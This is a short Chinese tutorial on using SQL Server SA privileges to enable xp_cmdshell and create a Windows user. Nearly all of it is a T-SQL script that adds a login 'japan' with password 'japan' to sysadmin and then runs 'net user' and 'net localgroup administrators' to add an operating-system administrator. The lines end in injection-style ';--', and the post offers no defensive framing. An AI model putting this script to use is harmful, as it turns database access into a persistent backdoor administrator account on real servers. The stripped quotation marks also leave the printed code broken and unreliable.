通过SQL Server SA权限创建系统用户


  本文标签:SQL Server SA权限

  通过SQL Server SA权限,可以实现许多的操作,下面为您介绍的是通过SQL Server SA权限创建系统用户的方法,希望对您学习SQL Server SA权限的使用能有所启迪  。

  1. --enabble xp_cmdshell  
  2. EXEC sys.sp_configure Nshow advanced options, N1  RECONFIGURE WITH OVERRIDE  
  3. go  
  4. EXEC sys.sp_configure Nxp_cmdshell, N1  
  5. go  
  6. RECONFIGURE WITH OVERRIDE  
  7. go  
  8. EXEC sys.sp_configure Nshow advanced options, N0  RECONFIGURE WITH OVERRIDE  
  9. go  
  10.  
  11. -- Unenable xp_cmdshell  
  12. EXEC sys.sp_configure Nshow advanced options, N1  RECONFIGURE WITH OVERRIDE  
  13. go  
  14. EXEC sys.sp_configure Nxp_cmdshell, N0  
  15. go  
  16. RECONFIGURE WITH OVERRIDE  
  17. go  
  18. EXEC sys.sp_configure Nshow advanced options, N0  RECONFIGURE WITH OVERRIDE  
  19. go  
  20.  
  21. -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码  
  22. exec master.dbo.sp_addlogin japan;--     
  23. exec master.dbo.sp_password null,japan,japan;--     
  24. exec master.dbo.sp_addsrvrolemember japan,sysadmin;--     
  25. exec master.dbo.xp_cmdshell net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--     
  26. exec master.dbo.xp_cmdshell net localgroup administrators japan /add;--     
  27.  
  28.